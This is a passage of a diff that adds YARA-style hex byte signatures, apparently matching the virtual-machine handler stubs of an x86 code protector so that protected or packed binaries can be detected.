+		$424 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 52 57 50 57 51 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 36 8B 00 89 45 00 E9}
+		$425 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 55 51 9C 52 50 53 57 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$426 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 55 50 9C 51 57 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 8B 75 00 83 C5 04 E9}
+		$427 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 57 53 52 9C 56 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$428 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 9C 57 50 53 55 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$429 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 56 55 9C 56 57 50 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$430 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 51 50 52 55 9C 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$431 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 50 56 52 57 9C 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$432 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 52 9C 56 50 53 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$433 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 55 55 9C 56 52 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8A 45 00 83 ED 02 00 45 04 9C 8F 45 00 E9}
+		$434 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 51 56 57 50 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$435 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 53 50 52 56 55 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$436 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 56 57 53 55 51 52 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$437 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 53 51 57 9C 56 52 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$438 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 52 54 53 56 57 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$439 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 52 53 51 55 50 55 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 80 E0 3C 8B 14 07 83 ED 04 89 55 00 E9}
+		$440 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 55 51 57 52 52 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 00 89 45 00 E9}
+		$441 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 50 52 51 57 53 55 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 83 C6 04 89 45 00 E9}
+		$442 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 9C 55 52 51 56 57 51 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$443 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 9C 57 55 53 51 52 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$444 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 57 55 56 52 56 51 50 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$445 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 51 9C 57 55 52 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$446 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 52 50 56 53 57 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$447 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 50 52 57 53 9C 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$448 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 50 51 9C 50 57 53 56 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 36 89 10 E9}
+		$449 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 51 50 55 57 56 57 53 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$450 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 9C 51 56 51 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$451 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 9C 57 50 55 52 56 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$452 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 50 52 57 56 51 9C 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$453 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 50 55 52 51 9C 52 57 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$454 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 57 53 9C 54 55 51 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$455 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 53 52 50 56 56 9C 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$456 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 52 9C 57 51 55 55 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9}
+		$457 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 50 57 9C 51 53 52 50 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$458 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 57 52 51 9C 53 53 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$459 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 50 9C 55 53 56 52 53 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 59 5B 5A 5E 58 5D 9D 58 5F C3}
+		$460 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 53 9C 55 50 54 51 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$461 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 56 51 53 50 9C 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$462 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 52 53 56 50 57 51 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$463 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 51 53 55 51 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$464 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 51 52 55 51 50 57 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 34 85 ?? ?? ?? ?? C3}
+		$465 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 51 53 55 56 50 52 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 8D 76 04 E9}
+		$466 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 57 51 50 55 51 53 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$467 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 51 55 52 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$468 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 50 52 56 51 50 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 59 5F 5B 5A 59 5E 5A 58 5D 9D C3}
+		$469 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 55 56 56 57 51 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$470 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 51 52 55 52 50 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$471 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 57 53 52 55 51 56 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$472 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 56 53 57 52 51 57 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8A 06 46 83 ED 02 66 89 45 00 E9}
+		$473 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 55 52 56 53 57 51 54 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 01 45 04 9C 8F 45 00 E9}
+		$474 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 57 52 55 56 51 50 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$475 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 52 56 57 9C 53 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$476 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 57 51 56 57 52 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$477 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 52 53 56 51 55 9C 51 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$478 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 55 53 50 56 53 51 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$479 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 56 55 56 9C 57 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$480 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 9C 52 50 57 56 53 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$481 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 54 51 50 55 53 56 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$482 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 50 55 9C 54 56 53 57 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$483 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 52 57 51 9C 53 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$484 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 51 56 55 52 9C 57 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$485 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 50 55 56 51 57 50 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 34 85 ?? ?? ?? ?? C3}
+		$486 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 55 51 53 53 57 50 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 C6 01 FF 34 85 ?? ?? ?? ?? C3}
+		$487 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 53 51 55 57 56 50 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$488 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 56 55 52 50 55 53 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$489 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 50 52 51 55 56 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 C6 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 02 66 89 45 00 E9}
+		$490 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 56 53 55 53 51 50 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 8B 75 00 83 C5 04 E9}
+		$491 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 52 56 51 57 53 50 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 89 E8 83 ED 04 89 45 00 E9}
+		$492 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 56 57 51 52 53 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+		$493 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 52 53 52 56 57 55 51 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$494 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 51 53 57 56 52 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 FF 24 85 ?? ?? ?? ?? 66 8B 6D 00 E9}
+		$495 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 56 53 52 50 55 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 36 8A 02 66 89 45 00 E9}
+		$496 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 55 57 53 56 50 52 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 FF 34 85 ?? ?? ?? ?? C3}
+		$497 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 50 57 53 51 52 55 54 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 83 EE FF 8D 0C 85 ?? ?? ?? ?? FF 21 89 EC 58 5E 59 5D 5A 59 5B 5F 58 9D C3}
+		$498 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 56 57 53 52 50 51 55 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$499 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 8A 4D 08 83 C5 02 0F A5 D0 89 45 04 9C 8F 45 00 E9}
+		$500 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 8B 55 04 8A 4D 08 83 C5 02 0F AD D0 89 45 04 9C 8F 45 00 E9}
+		$501 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 47 50 39 C5 0F 87 ?? ?? ?? ?? 8D 4F 40 29 E1 8D 45 80 29 C8 89 C4 9C 56 89 FE 8D BD 40 FF FF FF 57 FC F3 A4 5F 5E 9D E9}
+		$502 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 56 53 57 52 51 50 53 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 36 8B 00 89 45 00 E9}
+		$503 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 53 57 50 55 56 57 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 6D 00 E9}
+		$504 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 9C 51 52 56 50 53 56 55 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 06 83 ED 04 8D 76 04 89 45 00 E9}
+		$505 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 57 55 56 51 50 9C 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$506 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 57 55 50 52 9C 56 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 46 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 55 04 83 C5 08 89 10 E9}
+		$507 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 56 53 53 50 9C 52 57 55 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 66 8B 6D 00 E9}
+		$508 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 55 51 52 53 50 9C 57 56 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 8D 76 01 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$509 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 55 51 9C 56 50 57 51 52 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 34 85 ?? ?? ?? ?? C3}
+		$510 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 52 53 9C 50 56 51 55 57 54 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 6D 00 E9}
+		$511 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 53 52 51 55 55 56 57 9C 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 83 EE FF 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$512 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 51 55 52 57 9C 56 50 55 53 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 89 E8 83 ED 04 89 45 00 E9}
+		$513 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 57 52 53 51 55 9C 52 56 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 FF 24 85 ?? ?? ?? ?? 8B 55 00 83 C5 02 8A 02 66 89 45 00 E9}
+		$514 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 55 9C 52 53 51 52 56 57 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 46 0F B6 C0 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8A 55 04 83 C5 06 88 10 E9}
+		$515 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 66 8B 55 02 F6 D0 F6 D2 83 ED 02 20 D0 66 89 45 04 9C 8F 45 00 E9}
+		$516 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 8A 4D 02 83 ED 02 66 D3 E8 66 89 45 04 9C 8F 45 00 E9}
+		$517 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 8A 4D 02 83 ED 02 66 D3 E0 66 89 45 04 9C 8F 45 00 E9}
+		$518 = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 57 56 52 53 55 55 9C 51 50 68 00 00 00 00 8B 74 24 2C 89 E5 81 EC C0 00 00 00 89 E7 03 75 00 8A 06 0F B6 C0 8D 76 01 8D 0C 85 ?? ?? ?? ?? FF 21 8B 45 00 8B 00 89 45 00 E9}
